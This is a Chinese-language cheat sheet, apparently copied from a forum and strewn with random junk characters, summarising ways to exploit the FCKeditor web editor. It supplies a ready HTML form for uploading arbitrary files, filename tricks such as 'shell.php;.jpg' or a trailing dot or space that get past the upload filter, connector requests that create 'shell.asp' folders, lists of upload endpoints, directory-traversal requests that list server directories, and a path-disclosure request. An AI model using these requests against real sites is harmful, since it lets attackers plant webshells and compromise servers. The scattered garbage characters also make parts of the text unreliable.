Fckeditor漏洞利用总结 查看编辑器版本
f. L8 J" c/ V5 QFCKeditor/_whatsnew.html
1 ]$ t' } g- M o5 }————————————————————————————————————————————————————————————— 2. Version 2.2 版本
* j. r$ J( [: k5 ]Apache+linux 环境下在上传文件后面加个.突破!测试通过。% P4 x% t6 H& }; f% F
————————————————————————————————————————————————————————————— 3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址。: j! ~2 o! {5 @ H. U5 p
<form id="frmUpload" enctype="multipart/form-data"
8 t$ L% v7 W5 b/ t( _" f$ kaction="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>2 u) {! M2 b# }
<input type="file" name="NewFile" size="50"><br>
2 Q7 s8 B: s$ }4 M- T! t( R<input id="btnUpload" type="submit" value="Upload">
8 d* ?- l( l0 T2 I* _2 B</form>* Q; G4 F4 [, l# x/ X5 g0 j% Q
————————————————————————————————————————————————————————————— 4.FCKeditor 文件上传“.”变“_”下划线的绕过方法
8 B+ i4 x: b$ x% h+ F 很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。
) k; |' }" Y9 _. V! G- a, z 4.1:提交shell.php+空格绕过
2 {9 u( F1 ~" f不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。
6 S% s' u4 V- _/ G 4.2:继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。
; ?, x: \6 c# j- }# H3 \$ z, V————————————————————————————————————————————————————————————— 5. 突破建立文件夹
' S2 R O( r1 D7 pFCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684& W4 |2 x( x* Y1 z- T' v. p* t( g
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp6 i) d6 H, t5 i$ Y# T0 N7 k0 S
————————————————————————————————————————————————————————————— 6. FCKeditor 中test 文件的上传地址
0 T1 \; P: L; @3 ]3 t' f* P7 CFCKeditor/editor/filemanager/browser/default/connectors/test.html+ t' E8 w" f6 s( g
FCKeditor/editor/filemanager/upload/test.html
. T6 @% h+ z. l# c% EFCKeditor/editor/filemanager/connectors/test.html
" c# p3 L1 i& ]+ M, eFCKeditor/editor/filemanager/connectors/uploadtest.html4 }4 m. M1 t) m+ R
—————————————————————————————————————————————————————————————
$ T; j3 T. t0 l 7.常用上传地址
# `0 d7 b* y# G1 sFCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
' o/ W& s+ p, k0 @6 ZFCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
1 S* s7 |% Y4 l% } KFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)2 R! K N1 K* e0 S0 ]
JSP 版:% I6 ]+ A# p, g$ V
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
# k2 v: f* ~- a& X' w8 o2 m注意红色部分修改为FCKeditor 实际使用的脚本语言,蓝色部分可以自定义文 [ r! [! t) v: M; g) A& S
件夹名称也可以利用../..目录遍历,紫色部分为实际网站地址。
" U" {/ r9 l/ W: t( ?————————————————————————————————————————————————————————————— 8.其他上传地址4 B4 C5 N. u& g8 ^& z
FCKeditor/_samples/default.html
& ?( x- ^; i. @5 g9 ?% BFCKeditor/_samples/asp/sample01.asp
! |7 G f$ X% j) h9 i. n, r5 G5 pFCKeditor/_samples/asp/sample02.asp
& l& w% ^8 c, } c$ M+ s0 DFCKeditor/_samples/asp/sample03.asp# ], Z4 _% C# t& x6 P+ C
FCKeditor/_samples/asp/sample04.asp+ D! y2 r5 B. O% A+ L, c4 y
一般很多站点都已删除_samples 目录,可以试试。" k- }4 m0 A. G/ d9 L. s2 t
FCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。
/ r! C& n) ]5 Q: n————————————————————————————————————————————————————————————— 9.列目录漏洞也可助找上传地址
; i m/ I! Y: ^3 |Version 2.4.1 测试通过, {5 |& M5 K0 ~! e8 H
修改CurrentFolder 参数使用 ../../来进入不同的目录
1 t4 R% e' j4 D! l# A/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp
# ^+ A& }& m& Z' }) ^根据返回的XML 信息可以查看网站所有的目录。8 ^" \- U& A. i$ g
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F! u4 S6 E% b3 V6 s
也可以直接浏览盘符:
0 y; }# I9 y5 B- k; h( ]JSP 版本:
; D& d6 N: R! Y! N$ h( Q' KFCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F
* R! E! c: G9 j+ B3 G————————————————————————————————————————————————————————————— 10.爆路径漏洞: o8 z( G0 a Z. X1 b. h) |
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp
" t( u! O' G6 a+ {% d, _) G6 t————————————————————————————————————————————————————————————— 11. FCKeditor 被动限制策略所导致的过滤不严问题
2 T! M& {) ~! v6 P$ F3 |/ ` 影响版本: FCKeditor x.x <= FCKeditor v2.4.3
, [3 `; s# _0 g脆弱描述:
B* W3 N" R. e7 ZFCKeditor v2.4.3 中File 类别默认拒绝上传类型:- p( \/ t: E! ~
html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm! h4 \: x% f$ e! g2 q# e
Fckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!% C3 f$ o! Y# w$ {
而在apache 下,因为"Apache 文件名解析缺陷漏洞"也可以利用之,另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码,其限制最为狭隘。2 N8 S& s4 ^0 G' Q! m, L& g
在上传时遇见可直接上传脚本文件固然很好,但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过,也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg! |